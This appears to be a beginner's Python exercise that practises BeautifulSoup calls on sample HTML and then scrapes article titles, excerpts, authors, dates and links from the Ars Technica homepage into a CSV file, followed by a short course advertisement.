# 			corporis, exercitationem expedita ipsam ab? Exercitationem quibusdam sunt
# 			excepturi voluptatem perspiciatis ex delectus at, dolore praesentium
# 			doloremque laborum voluptatibus nisi.
# 		</p>
# 		<ul>
# 			<li>
# 				Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# 			</li>
# 			<li>
# 				Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# 			</li>
# 			<li>
# 				Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# 			</li>
# 			<li>
# 				Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# 			</li>
# 			<li>
# 				Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima.
# 			</li>
# 		</ul>
# 	</body>
# </html>
# """

# soup = BeautifulSoup(data, "html.parser")

# print(soup.body.h1)
# print(type(soup.body.h1))

# print(soup.find("li"))
# print(soup.find_all("li"))
# el = soup.find(class_="test")
# print(el.find_next_sibling())
# print(el.find_parent())
# print(soup.find("p")["id"])

import requests
from bs4 import BeautifulSoup
from csv import writer

response = requests.get("https://arstechnica.com/")

soup = BeautifulSoup(response.text, "html.parser")

articles = soup.find_all(class_="article")

with open("articles.csv", "w", newline="") as file:
    csv_writer = writer(file)
    csv_writer.writerow(["title", "excerpt", "author", "date", "link"])

    for article in articles:
        title = article.find("h2").get_text()
        excerpt = article.find(class_="excerpt").get_text()
        author = article.find("span").get_text()
        date = article.find(class_="date").get_text()
        link = article.find("a")["href"]

        csv_writer.writerow([title, excerpt, author, date, link])
Learn this on the racks

Reading it is one thing. Configuring it is another.

Our batches run labs like this one end to end on real kit, in the Mumbai classroom or live online, taught by practising engineers.